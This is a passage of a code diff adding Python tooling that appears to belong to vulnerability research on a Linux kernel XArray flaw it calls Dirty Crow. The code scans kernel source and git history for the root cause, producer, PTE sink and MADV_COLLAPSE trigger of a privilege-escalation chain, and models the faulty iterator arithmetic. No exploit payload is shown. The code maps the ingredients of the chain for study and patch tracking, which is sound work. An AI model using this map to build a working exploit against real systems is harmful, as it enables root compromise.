+ "mm/shmem.c", + re.compile(r"\bshmem_(?:huge_enabled|is_huge)\s*\("), + ), +} + + +def _line_number(source: str, offset: int) -> int: + return source.count("\n", 0, offset) + 1 + + +def _cache_root(cache: Path, remote: str, ref: str) -> Path: + if remote.count("/") != 1: + raise ValueError("remote must be OWNER/REPOSITORY") + return cache.resolve() / remote.replace("/", "__") / quote(ref, safe="._-") + + +def _read_sources(root: Path) -> dict[str, str]: + required_paths = sorted({path for path, _ in _FACT_PATTERNS.values()}) + sources: dict[str, str] = {} + for relative in required_paths: + source_path = root / relative + if not source_path.is_file(): + raise FileNotFoundError(f"cached source is missing: {source_path}") + sources[relative] = source_path.read_text(encoding="utf-8") + return sources + + +def analyze_cached_ref(cache: Path, remote: str, ref: str) -> dict[str, object]: + root = _cache_root(cache, remote, ref) + sources = _read_sources(root) + facts: dict[str, SourceFact] = {} + for name, (path, pattern) in _FACT_PATTERNS.items(): + match = pattern.search(sources[path]) + facts[name] = SourceFact( + name=name, + path=path, + present=match is not None, + line=_line_number(sources[path], match.start()) if match else None, + ) + xarray_semantics = classify_xas_find_semantics(sources["lib/xarray.c"]) + xarray_state = str(xarray_semantics["state"]) + for name, present in ( + ("vulnerable_xas_find_branch", xarray_state == "vulnerable"), + ("nonleaf_offset_fix", xarray_state == "fixed"), + ): + previous = facts[name] + facts[name] = SourceFact( + name=name, + path=previous.path, + present=present, + line=previous.line if present else None, + ) + + root_cause_present = ( + facts["vulnerable_xas_find_branch"].present + and not facts["nonleaf_offset_fix"].present + ) + complete_static_chain = root_cause_present and all( + facts[name].present + for name in ( + "shmem_multi_index_store", + "shmem_split_path", + "ordinary_user_hole_punch", + "filemap_unsigned_pte_delta", + ) + ) + synchronous_trigger = facts["synchronous_shmem_collapse"].present + if facts["nonleaf_offset_fix"].present: + source_status = "fixed_root_cause" + elif complete_static_chain and synchronous_trigger: + source_status = "ordinary_user_source_chain_present" + elif complete_static_chain: + source_status = "policy_gated_source_chain_present" + elif root_cause_present: + source_status = "iterator_primitive_only" + else: + source_status = "incomplete_source_chain" + + if complete_static_chain: + trigger_class = ( + "synchronous_madv_collapse" + if synchronous_trigger + else "shmem_thp_policy_or_mount_required" + ) + else: + trigger_class = "no_page_cache_multi_index_producer" + + return { + "ref": ref, + "source_status": source_status, + "root_cause_present": root_cause_present, + "complete_static_chain": complete_static_chain, + "trigger_class": trigger_class, + "facts": {name: asdict(fact) for name, fact in sorted(facts.items())}, + "claim_boundary": ( + "Source reachability only. Runtime exploitability requires an exact kernel, " + "configuration, architecture, and successful primitive run. Before Linux " + "5.17, compound shmem pages occupy repeated order-0 XArray slots rather " + "than one multi-index page-cache entry; enabling shmem THP policy does not " + "supply that missing Dirty Crow producer." + ), + } + + +def audit_cached_lineages( + cache: Path, remote: str, refs: Iterable[str] +) -> dict[str, object]: + ref_list = list(dict.fromkeys(refs)) + if not ref_list: + raise ValueError("at least one ref is required") + rows = [analyze_cached_ref(cache, remote, ref) for ref in ref_list] + return { + "schema_version": 1, + "remote": remote, + "refs": rows, + "summary": { + "fixed_root_cause": sum( + row["source_status"] == "fixed_root_cause" for row in rows + ), + "ordinary_user_source_chain_present": sum( + row["source_status"] == "ordinary_user_source_chain_present" + for row in rows + ), + "policy_gated_source_chain_present": sum( + row["source_status"] == "policy_gated_source_chain_present" + for row in rows + ), + "iterator_primitive_only": sum( + row["source_status"] == "iterator_primitive_only" for row in rows + ), + "incomplete_source_chain": sum( + row["source_status"] == "incomplete_source_chain" for row in rows + ), + }, + "boundary": ( + "This matrix names source-chain prerequisites; it does not promote untested " + "kernel refs to confirmed vulnerabilities." + ), + } + + +_HISTORY_CLAIMS: dict[str, dict[str, object]] = { + "xas_find_root_cause": { + "title": "stale non-leaf xas_find offset state", + "paths": ("lib/xarray.c",), + "history_patterns": { + "lib/xarray.c": ( + r"xas->xa_offset|xas->xa_node->shift|get_offset.*xas->xa_index", + ) + }, + }, + "shmem_multi_index_producer": { + "title": "shmem multi-index create/split/hole-punch producer", + "paths": ("mm/shmem.c",), + "history_patterns": { + "mm/shmem.c": ( + r"XA_STATE_ORDER|split_huge_page|split_folio|xas_.*split|" + r"FALLOC_FL_PUNCH_HOLE", + r"xas_store", + ) + }, + }, + "filemap_unsigned_pte_sink": { + "title": "filemap unsigned xa_index PTE delta sink", + "paths": ("mm/filemap.c",), + "history_patterns": {"mm/filemap.c": (r"vmf->pte|last_pgoff|xas.*xa_index",)}, + }, + "synchronous_madv_collapse_trigger": { + "title": "synchronous unprivileged MADV_COLLAPSE trigger", + "paths": ("mm/madvise.c",), + "history_patterns": {"mm/madvise.c": (r"MADV_COLLAPSE",)}, + }, + "complete_static_chain": { + "title": "root cause plus producer and PTE sink source chain", + "paths": ("lib/xarray.c", "mm/filemap.c", "mm/shmem.c"), + "history_patterns": { + "lib/xarray.c": ( + r"xas->xa_offset|xas->xa_node->shift|get_offset.*xas->xa_index", + ), + "mm/filemap.c": (r"vmf->pte|last_pgoff|xas.*xa_index",), + "mm/shmem.c": ( + r"XA_STATE_ORDER|split_huge_page|split_folio|xas_.*split|" + r"FALLOC_FL_PUNCH_HOLE", + r"xas_store", + ), + }, + }, + "ordinary_user_source_chain": { + "title": "complete chain plus synchronous MADV_COLLAPSE trigger", + "paths": ( + "lib/xarray.c", + "mm/filemap.c", + "mm/madvise.c", + "mm/shmem.c", + ), + "history_patterns": { + "lib/xarray.c": ( + r"xas->xa_offset|xas->xa_node->shift|get_offset.*xas->xa_index", + ), + "mm/filemap.c": (r"vmf->pte|last_pgoff|xas.*xa_index",), + "mm/madvise.c": (r"MADV_COLLAPSE",), + "mm/shmem.c": ( + r"XA_STATE_ORDER|split_huge_page|split_folio|xas_.*split|" + r"FALLOC_FL_PUNCH_HOLE", + r"xas_store", + ), + }, + }, +} + + +class GitHistory: + def __init__(self, repository: Path): + self.repository = repository.resolve() + if not (self.repository / ".git").exists(): + raise ValueError(f"not a Git repository: {self.repository}") + self._source_cache: dict[tuple[str, str], str] = {} + self._resolve_cache: dict[str, str] = {} + self._parents_cache: dict[str, tuple[str, ...]] = {} + self._release_tags_cache: dict[str, tuple[str, ...]] = {} + self._history_query_cache: dict[tuple[str, str, str], tuple[str, ...]] = {} + self._history_order_cache: dict[ + tuple[str, tuple[str, ...]], tuple[str, ...] + ] = {} + self._first_parent_cache: dict[str, frozenset[str]] = {} + + def _git(self, *arguments: str, check: bool = True) -> str: + result = subprocess.run( + ["git", "-C", str(self.repository), *arguments], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + check=False, + ) + if check and result.returncode: + raise RuntimeError(result.stderr.strip() or "git command failed") + return result.stdout + + def resolve(self, ref: str) -> str: + revision = self._resolve_cache.get(ref) + if revision is None: + revision = self._git("rev-parse", "--verify", f"{ref}^{{commit}}").strip() + self._resolve_cache[ref] = revision + return revision + + def is_shallow(self) -> bool: + return self._git("rev-parse", "--is-shallow-repository").strip() == "true" + + def preload_sources( + self, revisions: Iterable[str], paths: Iterable[str] + ) -> None: + requests = [ + (revision, path) + for revision in dict.fromkeys(revisions) + for path in dict.fromkeys(paths) + if (revision, path) not in self._source_cache + ] + batch_size = 64 + for offset in range(0, len(requests), batch_size): + chunk = requests[offset : offset + batch_size] + request_data = "".join( + f"{revision}:{path}\n" for revision, path in chunk + ).encode("utf-8") + result = subprocess.run( + ["git", "-C", str(self.repository), "cat-file", "--batch"], + input=request_data, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + check=False, + ) + if result.returncode: + raise RuntimeError( + result.stderr.decode("utf-8", errors="replace").strip() + or "git cat-file --batch failed" + ) + cursor = 0 + for revision, path in chunk: + line_end = result.stdout.find(b"\n", cursor) + if line_end < 0: + raise RuntimeError("truncated git cat-file batch header") + header = result.stdout[cursor:line_end] + cursor = line_end + 1 + if header.endswith(b" missing"): + source = "" + else: + fields = header.rsplit(b" ", 2) + if len(fields) != 3 or fields[1] != b"blob": + raise RuntimeError( + "unexpected git cat-file batch header: " + + header.decode("utf-8", errors="replace") + ) + size = int(fields[2]) + payload_end = cursor + size + if ( + payload_end >= len(result.stdout) + or result.stdout[payload_end : payload_end + 1] != b"\n" + ): + raise RuntimeError("truncated git cat-file batch payload") + source = result.stdout[cursor:payload_end].decode( + "utf-8", errors="replace" + ) + cursor = payload_end + 1 + self._source_cache[(revision, path)] = source + if cursor != len(result.stdout): + raise RuntimeError("unexpected trailing git cat-file batch output") + + def source(self, revision: str, path: str) -> str: + key = (revision, path) + if key not in self._source_cache: + self.preload_sources((revision,), (path,)) + return self._source_cache[key] + + def parents(self, commit: str) -> tuple[str, ...]: + parents = self._parents_cache.get(commit) + if parents is None: + parents = tuple( + self._git("show", "-s", "--format=%P", commit).strip().split() + ) + self._parents_cache[commit] = parents + return parents + + def metadata(self, commit: str) -> dict[str, object]: + encoded = self._git( + "show", + "-s", + "--format=%H%x00%P%x00%cI%x00%s", + commit, + ).rstrip("\n") + fields = encoded.split("\0", 3) + if len(fields) != 4: + raise RuntimeError(f"unexpected Git metadata for {commit}") + return { + "commit": fields[0], + "parents": fields[1].split() if fields[1] else [], + "committer_date": fields[2], + "subject": fields[3], + } + + def patch_id(self, commit: str, paths: Iterable[str]) -> str | None: + diff = subprocess.run( + [ + "git", + "-C", + str(self.repository), + "show", + "--format=", + "--binary", + "--find-renames", + commit, + "--", + *paths, + ], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + check=False, + ) + if diff.returncode or not diff.stdout.strip(): + return None + result = subprocess.run( + ["git", "-C", str(self.repository), "patch-id", "--stable"], + input=diff.stdout, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + check=False, + ) + if result.returncode or not result.stdout.strip(): + return None + return result.stdout.decode("ascii", errors="replace").split()[0] + + def candidate_commits( + self, + ref: str, + paths: Iterable[str], + patterns: dict[str, tuple[str, ...]], + ) -> list[str]: + candidates: set[str] = set() + for path, path_patterns in patterns.items(): + for pattern in path_patterns: + cache_key = (ref, path, pattern) + commits = self._history_query_cache.get(cache_key) + if commits is None: + output = self._git( + "log", + "--format=%H", + "--topo-order", + "--reverse", + f"-G{pattern}", + ref, + "--", + path, + ) + commits = tuple(output.split()) + self._history_query_cache[cache_key] = commits + candidates.update(commits) + if not candidates: + return [] + path_tuple = tuple(paths) + order_key = (ref, path_tuple) + ordered = self._history_order_cache.get(order_key) + if ordered is None: + ordered = tuple( + self._git( + "log", + "--format=%H", + "--topo-order", + "--reverse", + ref, + "--", + *path_tuple, + ).split() + ) + self._history_order_cache[order_key] = ordered + return [commit for commit in ordered if commit in candidates] + + def mainline_release_tags(self, ref: str) -> list[str]: + cached = self._release_tags_cache.get(ref) + if cached is not None: + return list(cached) + output = self._git( + "tag", + "--merged", + ref, + "--list", + "v[0-9]*", + "--sort=version:refname", + ) + tags: list[str] = [] + for tag in output.splitlines(): + match = re.fullmatch(r"v(\d+)\.(\d+)", tag) + if match is None: + continue + version = (int(match.group(1)), int(match.group(2))) + if version < (4, 19): + continue + tags.append(tag) + self._release_tags_cache[ref] = tuple(tags) + return tags + + def first_parent_commits(self, ref: str) -> frozenset[str]: + cached = self._first_parent_cache.get(ref) + if cached is None: + cached = frozenset( + self._git("rev-list", "--first-parent", ref).split() + ) + self._first_parent_cache[ref] = cached + return cached + + def commits_between( + self, + older: str, + newer: str, + paths: tuple[str, ...], + ) -> list[str]: + output = self._git( + "log", + "--full-history", + "--format=%H%x00%P", + "--topo-order", + "--reverse", + f"{older}..{newer}", + "--", + *paths, + ) + commits: list[str] = [] + for row in output.splitlines(): + fields = row.split("\0", 1) + commit = fields[0] + parents = tuple(fields[1].split()) if len(fields) == 2 else () + self._parents_cache[commit] = parents + commits.append(commit) + return commits + + def remote_url(self) -> str | None: + value = self._git("remote", "get-url", "origin", check=False).strip() + return value or None + + +def _source_facts(sources: dict[str, str]) -> dict[str, bool]: + facts = { + name: pattern.search(sources.get(path, "")) is not None + for name, (path, pattern) in _FACT_PATTERNS.items() + } + xarray_state = str( + classify_xas_find_semantics(sources.get("lib/xarray.c", ""))["state"] + ) + facts["vulnerable_xas_find_branch"] = xarray_state == "vulnerable" + facts["nonleaf_offset_fix"] = xarray_state == "fixed" + return facts + + +def _claim_state(claim: str, sources: dict[str, str]) -> tuple[bool, list[str]]: + facts = _source_facts(sources) + root_cause = facts["vulnerable_xas_find_branch"] and not facts["nonleaf_offset_fix"] + producer = all( + facts[name] + for name in ( + "shmem_multi_index_store", + "shmem_split_path", + "ordinary_user_hole_punch", + ) + ) + sink = facts["filemap_unsigned_pte_delta"] + synchronous = facts["synchronous_shmem_collapse"] + states = { + "xas_find_root_cause": root_cause, + "shmem_multi_index_producer": producer, + "filemap_unsigned_pte_sink": sink, + "synchronous_madv_collapse_trigger": synchronous, + "complete_static_chain": root_cause and producer and sink, + "ordinary_user_source_chain": root_cause and producer and sink and synchronous, + } + evidence = sorted(name for name, present in facts.items() if present) + return states[claim], evidence + + +def _state_snapshot( + history: GitHistory, + revision: str, + paths: tuple[str, ...], + claim: str, +) -> tuple[bool, list[str], dict[str, str]]: + sources = {path: history.source(revision, path) for path in paths} + state, evidence = _claim_state(claim, sources) + hashes = { + path: hashlib.sha256(source.encode("utf-8")).hexdigest() + for path, source in sorted(sources.items()) + } + return state, evidence, hashes + + +def _affected_intervals( + transitions: list[dict[str, object]], + state_at_ref: bool, + revision: str, +) -> list[dict[str, object]]: + intervals: list[dict[str, object]] = [] + active_start: str | None = None + for transition in transitions: + kind = transition["kind"] + commit = str(transition["commit"]) + if kind == "introduced": + active_start = commit + elif kind == "fixed_or_removed" and active_start is not None: + intervals.append( + { + "start_commit": active_start, + "start_inclusive": True, + "end_commit": commit, + "end_exclusive": True, + "git_range": f"{active_start}^..{commit}^", + "status": "closed", + } + ) + active_start = None + if state_at_ref: + intervals.append( + { + "start_commit": active_start, + "start_inclusive": active_start is not None, + "end_commit": None, + "end_exclusive": None, + "target_revision": revision, + "git_range": ( + f"{active_start}^..{revision}" if active_start is not None else None + ), + "status": "open_at_target_ref", + } + ) + return intervals + + +def _discover_claim( + history: GitHistory, + ref: str, + revision: str, + claim: str, + specification: dict[str, object], +) -> dict[str, object]: + paths = tuple(str(path) for path in specification["paths"]) + patterns = { + str(path): tuple(str(pattern) for pattern in path_patterns) + for path, path_patterns in specification["history_patterns"].items() + } + tags = history.mainline_release_tags(ref) + untagged_full_history = not tags + anchors: list[dict[str, object]] = [] + if untagged_full_history: + roots = history._git("rev-list", "--max-parents=0", "--reverse", ref).split() + if not roots: + raise RuntimeError(f"no root commit is reachable from {ref!r}") + root = roots[0] + history.preload_sources((root, revision), paths) + state, evidence, _ = _state_snapshot(history, root, paths, claim) + anchors.append( + { + "ref": "", + "revision": root, + "state": state, + "evidence": evidence, + } + ) + else: + tag_revisions = [(tag, history.resolve(tag)) for tag in tags] + history.preload_sources( + (tag_revision for _, tag_revision in tag_revisions), paths + ) + for tag, tag_revision in tag_revisions: + state, evidence, _ = _state_snapshot(history, tag_revision, paths, claim) + anchors.append( + { + "ref": tag, + "revision": tag_revision, + "state": state, + "evidence": evidence, + } + ) + if str(anchors[-1]["revision"]) != revision: + state, evidence, _ = _state_snapshot(history, revision, paths, claim) + anchors.append( + { + "ref": ref, + "revision": revision, + "state": state, + "evidence": evidence, + } + ) + + search_brackets: list[dict[str, object]] = [] + candidate_commits: list[str] = [] + if untagged_full_history: + candidate_commits.append(str(anchors[0]["revision"])) + for before, after in zip(anchors, anchors[1:]): + if not untagged_full_history and before["state"] == after["state"]: + continue + commits = history.commits_between( + str(before["revision"]), + str(after["revision"]), + paths, + ) + search_brackets.append( + { + "before_ref": before["ref"], + "before_revision": before["revision"], + "before_state": before["state"], + "after_ref": after["ref"], + "after_revision": after["revision"], + "after_state": after["state"], + "path_commit_count": len(commits), + "selection": ( + "complete_untagged_history" + if untagged_full_history + else "release_endpoint_state_changed" + ), + } + ) + candidate_commits.extend(commits) + ordered_candidates = list(dict.fromkeys(candidate_commits)) + candidate_revisions = list(ordered_candidates) + for commit in ordered_candidates: + candidate_revisions.extend(history.parents(commit)) + + history.preload_sources(candidate_revisions, paths) + + transitions: list[dict[str, object]] = [] + seen = set(ordered_candidates) + for commit in ordered_candidates: + parents = history.parents(commit) + parent_snapshots = [ + _state_snapshot(history, parent, paths, claim) for parent in parents + ] + after_state, after_evidence, after_hashes = _state_snapshot( + history, commit, paths, claim + ) + parent_states = [snapshot[0] for snapshot in parent_snapshots] + if after_state: + if parent_states and any(parent_states): + continue + kind = "introduced" + else: + if not parent_states or not all(parent_states): + continue + kind = "fixed_or_removed" + parent = parents[0] if parents else None + before_state, before_evidence, before_hashes = ( + parent_snapshots[0] if parent_snapshots else (False, [], {}) + ) + transition = history.metadata(commit) + transition.update( + { + "kind": kind, + "first_parent": parent, + "parent_states": [ + {"commit": revision, "state": state} + for revision, state in zip(parents, parent_states) + ], + "patch_id_stable": history.patch_id(commit, paths), + "state_before": before_state, + "state_after": after_state, + "evidence_before": before_evidence, + "evidence_after": after_evidence, + "source_sha256_before": before_hashes, + "source_sha256_after": after_hashes, + } + ) + transitions.append(transition) + + mainline_transitions: list[dict[str, object]] = [] + first_parent_commits = history.first_parent_commits(ref) + for commit in ordered_candidates: + if commit not in first_parent_commits: + continue + parents = history.parents(commit) + if not parents: + continue + before_state, before_evidence, before_hashes = _state_snapshot( + history, parents[0], paths, claim + ) + after_state, after_evidence, after_hashes = _state_snapshot( + history, commit, paths, claim + ) + if before_state == after_state: + continue + transition = history.metadata(commit) + transition.update( + { + "kind": "introduced" if after_state else "fixed_or_removed", + "first_parent": parents[0], + "patch_id_stable": history.patch_id(commit, paths), + "state_before": before_state, + "state_after": after_state, + "evidence_before": before_evidence, + "evidence_after": after_evidence, + "source_sha256_before": before_hashes, + "source_sha256_after": after_hashes, + } + ) + mainline_transitions.append(transition) + + state_at_ref, evidence_at_ref, source_hashes_at_ref = _state_snapshot( + history, revision, paths, claim + ) + intervals = _affected_intervals(mainline_transitions, state_at_ref, revision) + return { + "id": claim, + "title": specification["title"], + "paths": list(paths), + "history_patterns": patterns, + "release_anchors": anchors, + "history_search_mode": ( + "complete_untagged_history" + if untagged_full_history + else "mainline_release_state_change_brackets" + ), + "candidate_commit_count": len(seen), + "state_at_target_ref": state_at_ref, + "evidence_at_target_ref": evidence_at_ref, + "source_sha256_at_target_ref": source_hashes_at_ref, + "introducing_commits": [ + transition["commit"] + for transition in transitions + if transition["kind"] == "introduced" + ], + "fixing_or_removal_commits": [ + transition["commit"] + for transition in transitions + if transition["kind"] == "fixed_or_removed" + ], + "mainline_introducing_commits": [ + transition["commit"] + for transition in mainline_transitions + if transition["kind"] == "introduced" + ], + "mainline_fixing_or_removal_commits": [ + transition["commit"] + for transition in mainline_transitions + if transition["kind"] == "fixed_or_removed" + ], + "change_commits_while_present": [], + "transitions": transitions, + "mainline_transitions": mainline_transitions, + "affected_intervals": intervals, + "boundary": ( + "DAG-frontier transition commits are evaluated against every parent " + "inside each adjacent mainline-release bracket whose endpoint " + "predicate changes. A DAG introduction requires all parents false " + "and a DAG fixing/removal requires all parents true. Affected " + "intervals use only first-parent mainline transitions, while the " + "frontier lists preserve independent branch introductions. These " + "are source predicates on the target ref's reachable Git DAG; they " + "do not claim configuration reachability or runtime impact." + ), + } + + +def discover_vulnerable_intervals( + repository: Path, + ref: str, +) -> dict[str, object]: + history = GitHistory(repository) + revision = history.resolve(ref) + shallow = history.is_shallow() + claims = [ + _discover_claim(history, ref, revision, claim, specification) + for claim, specification in _HISTORY_CLAIMS.items() + ] + report: dict[str, object] = { + "schema_version": 2, + "title": "Dirty Crow exact source-history interval discovery", + "passed": not shallow, + "repository": str(Path(repository).resolve()), + "remote_url": history.remote_url(), + "target_ref": ref, + "target_revision": revision, + "git_object_format": history._git("rev-parse", "--show-object-format").strip(), + "history_complete": not shallow, + "claims": claims, + "summary": { + "claim_count": len(claims), + "open_at_target_ref": sum( + bool(claim["state_at_target_ref"]) for claim in claims + ), + "transition_count": sum(len(claim["transitions"]) for claim in claims), + }, + "boundary": ( + "Commit and stable patch IDs establish source-history transitions only. " + "Runtime vulnerability claims remain restricted to exact tested kernels." + ), + } + canonical = json.dumps( + report, + sort_keys=True, + separators=(",", ":"), + ).encode("utf-8") + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/model.py b/dirty-crow-xarray-lpe/framework/dirtycrow/model.py new file mode 100644 index 0000000..604e94d --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/model.py @@ -0,0 +1,932 @@ +from __future__ import annotations + +import hashlib +import os +import shutil +import subprocess +import tempfile +from collections import Counter +from dataclasses import asdict, dataclass +from enum import IntEnum +from pathlib import Path +from typing import Iterable, Sequence + +MODEL_SCHEMA_VERSION = 2 +XA_CHUNK_SHIFT = 6 +XA_CHUNK_SIZE = 1 << XA_CHUNK_SHIFT +XA_CHUNK_MASK = XA_CHUNK_SIZE - 1 +FULL_WIDTHS = (32, 64) + + +class CursorKind(IntEnum): + NODE = 0 + RESTART = 1 + BOUNDS = 2 + ERROR = 3 + NULL = 4 + + +class RestartOutcome(IntEnum): + NODE = 0 + ENTRY = 1 + TERMINAL = 2 + + +class GuardAction(IntEnum): + ADVANCE = 0 + RETURN_NULL = 1 + SET_BOUNDS = 2 + RETURN_ENTRY = 3 + + +class SlotKind(IntEnum): + EMPTY = 0 + SIBLING = 1 + NODE = 2 + ENTRY = 3 + + +class WalkAction(IntEnum): + ADVANCE = 0 + ASCEND = 1 + SET_BOUNDS = 2 + DESCEND = 3 + RETURN_ENTRY = 4 + STOP_MAX = 5 + + +@dataclass(frozen=True) +class IteratorState: + index: int + node_shift: int + offset: int + + +@dataclass(frozen=True) +class Regression: + before: IteratorState + vulnerable_index: int + fixed_index: int + bits: int = 64 + sibling_span: int = 0 + + def as_dict(self) -> dict[str, object]: + return asdict(self) + + +@dataclass(frozen=True) +class GuardResult: + action: GuardAction + index: int + branch: str + + +@dataclass(frozen=True) +class WalkResult: + action: WalkAction + branch: str + + +@dataclass(frozen=True) +class _ReachableState: + state: IteratorState + sibling_span: int + slot_limit: int + + @property + def next_is_representable(self) -> bool: + return get_offset(self.state.index, self.state.node_shift) + 1 < self.slot_limit + + +@dataclass(frozen=True) +class _OracleCase: + operation: str + arguments: tuple[int, ...] + expected: tuple[int, ...] + + def input_line(self) -> str: + return " ".join((self.operation, *(str(value) for value in self.arguments))) + + def output_line(self) -> str: + return " ".join((self.operation, *(str(value) for value in self.expected))) + + +def _validate_bits(bits: int) -> None: + if not XA_CHUNK_SHIFT < bits <= 64: + raise ValueError("bit width must be between 7 and 64") + + +def _word_mask(bits: int) -> int: + _validate_bits(bits) + return (1 << bits) - 1 + + +def valid_node_shifts(bits: int) -> tuple[int, ...]: + _validate_bits(bits) + return tuple(range(0, bits, XA_CHUNK_SHIFT)) + + +def _validate_shift(shift: int, bits: int | None = None) -> None: + if shift < 0 or shift % XA_CHUNK_SHIFT: + raise ValueError("node shift must be a non-negative multiple of 6") + if bits is not None and shift >= bits: + raise ValueError("node shift must be smaller than the word width") + + +def get_offset(index: int, shift: int) -> int: + if index < 0: + raise ValueError("index must be non-negative") + _validate_shift(shift) + return (index >> shift) & XA_CHUNK_MASK + + +def move_index(index: int, shift: int, offset: int, bits: int = 64) -> int: + """Model xas_move_index(), including unsigned-long truncation.""" + mask = _word_mask(bits) + _validate_shift(shift, bits) + if not 0 <= index <= mask: + raise ValueError("index is outside the selected unsigned-long width") + if not 0 <= offset <= XA_CHUNK_SIZE + 1: + raise ValueError("offset is outside the modeled cursor range") + + # Kernel expression: index &= ~XA_CHUNK_MASK << shift. Parentheses + # matter: this clears both the node-slot bits and all lower index bits. + keep_mask = (((~XA_CHUNK_MASK) & mask) << shift) & mask + return ((index & keep_mask) + (offset << shift)) & mask + + +def _raw_next(state: IteratorState, *, bits: int, fixed: bool) -> tuple[int, int, str]: + mask = _word_mask(bits) + _validate_shift(state.node_shift, bits) + if not 0 <= state.index <= mask: + raise ValueError("index is outside the selected unsigned-long width") + if not 0 <= state.offset <= XA_CHUNK_SIZE: + raise ValueError("offset is outside an XArray node") + + offset = state.offset + expected = get_offset(state.index, state.node_shift) + branch = "offset_synced" + if offset != expected: + if state.node_shift == 0: + offset = ((state.index - 1) & XA_CHUNK_MASK) + 1 + branch = "leaf_offset_resync" + elif fixed: + offset = expected + branch = "nonleaf_offset_resync" + else: + branch = "nonleaf_offset_unsynchronized" + + offset += 1 + return move_index(state.index, state.node_shift, offset, bits), offset, branch + + +def vulnerable_next(state: IteratorState, bits: int = 64) -> int: + """Model the pre-fix xas_find() correction and xas_next_offset().""" + return _raw_next(state, bits=bits, fixed=False)[0] + + +def fixed_next(state: IteratorState, bits: int = 64) -> int: + """Model the candidate fix and xas_next_offset().""" + return _raw_next(state, bits=bits, fixed=True)[0] + + +def guard_transition( + kind: CursorKind, + *, + index: int, + max_index: int, + bits: int, + restart_outcome: RestartOutcome = RestartOutcome.NODE, +) -> GuardResult: + """Model every pre-walk terminal/restart branch in xas_find().""" + mask = _word_mask(bits) + if not 0 <= index <= mask or not 0 <= max_index <= mask: + raise ValueError("index and maximum must fit the selected word width") + + if kind in (CursorKind.ERROR, CursorKind.BOUNDS): + branch = "guard_error" if kind == CursorKind.ERROR else "guard_bounds" + return GuardResult(GuardAction.RETURN_NULL, index, branch) + if index > max_index: + return GuardResult(GuardAction.SET_BOUNDS, index, "guard_above_max") + if kind == CursorKind.NULL: + return GuardResult(GuardAction.SET_BOUNDS, 1, "guard_null_node") + if kind == CursorKind.RESTART: + if restart_outcome == RestartOutcome.ENTRY: + return GuardResult(GuardAction.RETURN_ENTRY, index, "restart_entry") + if restart_outcome == RestartOutcome.TERMINAL: + return GuardResult(GuardAction.RETURN_NULL, index, "restart_terminal") + return GuardResult(GuardAction.ADVANCE, index, "restart_continue") + return GuardResult(GuardAction.ADVANCE, index, "guard_node_continue") + + +def walk_transition( + *, + has_node: bool, + index: int, + max_index: int, + offset: int, + slot: SlotKind, + parent_exists: bool, +) -> WalkResult: + """Model one complete branch of the xas_find()/xas_find_marked() walk.""" + if index < 0 or max_index < 0: + raise ValueError("walk indices must be non-negative") + if not 0 <= offset <= XA_CHUNK_SIZE: + raise ValueError("offset is outside an XArray node") + + if not has_node: + return WalkResult(WalkAction.SET_BOUNDS, "walk_root_exhausted") + if index > max_index: + return WalkResult(WalkAction.STOP_MAX, "walk_above_max") + if offset == XA_CHUNK_SIZE: + if parent_exists: + return WalkResult(WalkAction.ASCEND, "walk_ascend") + return WalkResult(WalkAction.SET_BOUNDS, "walk_ascend_root") + if slot == SlotKind.NODE: + return WalkResult(WalkAction.DESCEND, "walk_descend") + if slot == SlotKind.ENTRY: + return WalkResult(WalkAction.RETURN_ENTRY, "walk_entry") + if slot == SlotKind.SIBLING: + return WalkResult(WalkAction.ADVANCE, "walk_sibling") + return WalkResult(WalkAction.ADVANCE, "walk_empty") + + +def find_marked_offset(marks: int, offset: int, advance: bool) -> int: + """Model xas_find_chunk() for a 64-slot XArray node.""" + if not 0 <= marks <= (1 << XA_CHUNK_SIZE) - 1: + raise ValueError("marks must be a 64-bit node bitmap") + if not 0 <= offset <= XA_CHUNK_SIZE: + raise ValueError("offset is outside an XArray node") + + start = offset + int(advance) + if start >= XA_CHUNK_SIZE: + return XA_CHUNK_SIZE + remaining = marks >> start + if not remaining: + return XA_CHUNK_SIZE + return start + ((remaining & -remaining).bit_length() - 1) + + +def sibling_base(offset: int, span: int) -> int: + """Return the canonical slot encoded by an aligned sibling entry.""" + if not 0 <= offset < XA_CHUNK_SIZE: + raise ValueError("offset is outside an XArray node") + if not 1 <= span <= XA_CHUNK_SIZE or span & (span - 1): + raise ValueError("sibling span must be a power of two between 1 and 64") + return offset & ~(span - 1) + + +def _representative_high_bases(bits: int, shift: int) -> tuple[int, ...]: + mask = _word_mask(bits) + window_bits = shift + XA_CHUNK_SHIFT + if window_bits >= bits: + return (0,) + + window = 1 << window_bits + last = mask & ~(window - 1) + values = {0, last} + if window < last: + values.add(window) + return tuple(sorted(values)) + + +def _representative_low_parts(shift: int) -> tuple[int, ...]: + if shift == 0: + return (0,) + width = 1 << shift + return tuple(sorted({0, 1, width // 2, width - 1})) + + +def _sibling_spans(slot_limit: int) -> tuple[int, ...]: + spans: list[int] = [] + span = 2 + while span <= slot_limit: + spans.append(span) + span <<= 1 + return tuple(spans) + + +def _reachable_sibling_states( + *, bits: int, shifts: Sequence[int] +) -> tuple[_ReachableState, ...]: + states: dict[tuple[int, int, int, int], _ReachableState] = {} + for shift in shifts: + _validate_shift(shift, bits) + slot_limit = min(XA_CHUNK_SIZE, 1 << (bits - shift)) + for span in _sibling_spans(slot_limit): + for canonical in range(0, slot_limit, span): + for slot in range(canonical + 1, canonical + span): + for high in _representative_high_bases(bits, shift): + for low in _representative_low_parts(shift): + index = high + (slot << shift) + low + if index > _word_mask(bits): + continue + state = IteratorState(index, shift, canonical) + key = (index, shift, canonical, span) + states[key] = _ReachableState(state, span, slot_limit) + return tuple(states[key] for key in sorted(states)) + + +def enumerate_regressions( + *, + bits: int = 16, + shifts: Iterable[int] = (6, 12), +) -> list[Regression]: + """Find reachable sibling states where vulnerable xas_find() cannot progress.""" + selected = tuple(dict.fromkeys(shifts)) + states = _reachable_sibling_states(bits=bits, shifts=selected) + regressions: list[Regression] = [] + for reachable in states: + if not reachable.next_is_representable: + continue + state = reachable.state + old_index = vulnerable_next(state, bits) + if old_index > state.index: + continue + regressions.append( + Regression( + before=state, + vulnerable_index=old_index, + fixed_index=fixed_next(state, bits), + bits=bits, + 